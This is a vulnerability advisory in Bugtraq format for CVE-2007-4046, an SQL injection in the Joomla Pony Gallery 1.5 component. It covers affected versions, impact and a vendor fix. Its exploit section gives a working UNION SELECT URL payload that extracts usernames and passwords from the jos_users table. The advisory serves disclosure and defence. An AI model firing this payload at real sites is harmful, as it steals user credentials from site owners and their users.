Joomla Pony Gallery Component Index.PHP SQL Injection Vulnerability

Bugtraq ID:	24972
Class:	Input Validation Error
CVE:	CVE-2007-4046
Remote:	Yes
Local:	No
Published:	Jul 19 2007 12:00AM
Updated:	May 07 2015 05:36PM
Credit:	ajann is credited with the discovery of this vulnerability.
Vulnerable:	Joomla Pony Gallery Component 1.5
Not Vulnerable:	Joomla Pony Gallery Component 1.5 Beta 16

Joomla Pony Gallery Component Index.PHP SQL Injection Vulnerability

The Joomla Pony Gallery component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Pony Gallery 1.5 is vulnerable to this issue; prior versions may also be affected.

Joomla Pony Gallery Component Index.PHP SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URIs are available:

http://www.example.com/index.php?option=com_ponygallery&Itemid=x&func=viewcategory&catid=[SQL inject]

http://www.example.com/index.php?option=com_ponygallery&Itemid=x&func=viewcategory&catid=%20union%20select%201,2,3,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),5,0,0%20from%20jos_users/*[[/SQL]]

Joomla Pony Gallery Component Index.PHP SQL Injection Vulnerability

Solution:
The vendor released an update to address this issue. Please see the references for more information.


Joomla Pony Gallery Component 1.5

• Cuyahoga mod_ponyrandom_1.5.zip
  http://joomlander.net/index.php?option=com_remository&Itemid=0&func=st artdown&id=35

Joomla Pony Gallery Component Index.PHP SQL Injection Vulnerability

References:

• Joomla! Homepage (Joomla )
  
• Pony Gallery Web Site (Pony Gallery)